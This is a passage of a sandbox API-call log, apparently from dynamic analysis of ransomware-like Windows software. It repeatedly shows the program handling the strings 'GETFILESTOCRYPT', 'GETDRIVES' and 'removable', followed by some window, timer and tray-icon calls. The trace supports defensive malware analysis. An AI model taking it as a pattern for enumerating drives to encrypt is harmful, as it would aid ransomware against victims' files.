cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.056] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.056] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.056] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.056] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.056] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.056] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.057] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.057] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.066] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.066] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.066] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.066] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.066] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.066] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.066] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.066] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.067] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.067] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.067] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.067] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.067] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.067] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.067] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.067] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.067] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.067] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.068] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.068] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.068] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.068] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.068] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.082] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.082] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.085] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.085] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.085] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.085] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.085] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.086] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.086] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.086] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.086] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.086] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.086] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.087] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.087] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.087] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.087] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.087] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.087] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.087] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.101] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.102] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.102] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.102] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.102] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.102] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.102] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.102] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.102] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.102] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.103] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.103] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.103] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.103] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.103] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.103] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.103] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.103] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.103] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.103] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.104] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.104] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.104] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.105] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.105] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.105] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.105] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.105] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.106] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.106] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.106] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.106] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.106] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.106] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.106] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.106] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.106] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.107] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.107] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.107] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.107] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.107] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.107] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.107] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.107] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.108] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.108] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.136] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.136] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.136] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.136] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.136] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.136] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.136] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.136] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.136] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.137] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.137] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.137] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.137] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.137] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.137] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.137] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.137] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.137] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.137] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.138] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.138] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.138] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.154] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.154] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.154] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.154] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.155] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.155] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.155] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.155] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.155] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.155] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.155] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.155] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.155] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.155] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.156] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.156] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.156] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.156] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.156] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.156] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.156] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.156] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.156] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.163] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.163] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.163] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.164] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.164] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.164] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.164] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.164] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.164] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.164] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.165] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.165] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.165] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.165] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.165] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.165] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.166] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.166] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.167] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.167] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.167] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.167] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.167] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.168] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.168] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.168] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.168] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.168] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.168] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.168] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.168] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.168] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.169] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.169] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.169] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.169] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.169] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.169] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.169] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.170] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.170] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.170] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.170] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.170] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.170] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.171] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.171] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.171] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.171] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.171] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.171] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.171] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.171] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.171] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.171] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.172] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.172] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.172] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.172] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.172] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.172] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.172] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.172] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.173] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.191] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.191] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.191] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.191] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.191] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.509] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0083.630] TranslateMessage (lpMsg=0x130f614) returned 0 [0083.630] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0083.630] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0083.634] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0083.634] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0083.634] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.634] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.635] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.635] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 